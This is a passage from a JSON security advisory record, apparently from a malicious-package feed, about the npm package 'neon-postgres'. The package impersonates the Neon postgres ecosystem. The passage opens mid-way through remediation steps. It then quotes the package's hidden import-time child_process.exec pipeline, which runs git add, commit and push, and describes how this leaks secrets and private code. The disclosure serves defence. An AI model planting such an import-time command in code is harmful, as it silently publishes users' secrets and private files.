If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

Both the CommonJS and ESM entrypoints contain a top-level child_process.exec call that runs a shell pipeline in the caller's current working directory: `pwd \u0026\u0026 ls -la \u0026\u0026 git status \u0026\u0026 git add * \u0026\u0026 git commit -m \"sync\" \u0026\u0026 git push -u origin main`. This fires the moment any consumer `require()`s or `import`s the package (directly or via a transitive dependency), using the credentials configured on the installer's host. Effects on the installer: (1) all untracked and uncommitted files in the CWD are staged and committed, potentially including secrets, local.env files, build artifacts, and private material the developer never intended to publish; (2) that commit is pushed to whatever remote `origin` is configured, which can leak private code to a fork or overwrite branch state on the real repository; (3) the operation runs silently as a side-effect of importing what appears to be a postgres client. The `neon-postgres` name impersonates the legitimate Neon serverless-postgres ecosystem while carrying this payload.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in neon-postgres (npm)","id":"MAL-2026-10537","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"neon-postgres","purl":"pkg:npm/neon-postgres","source":"MAL-2026-10537"}],"products":null,"published":"2026-07-14","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-10537/"}
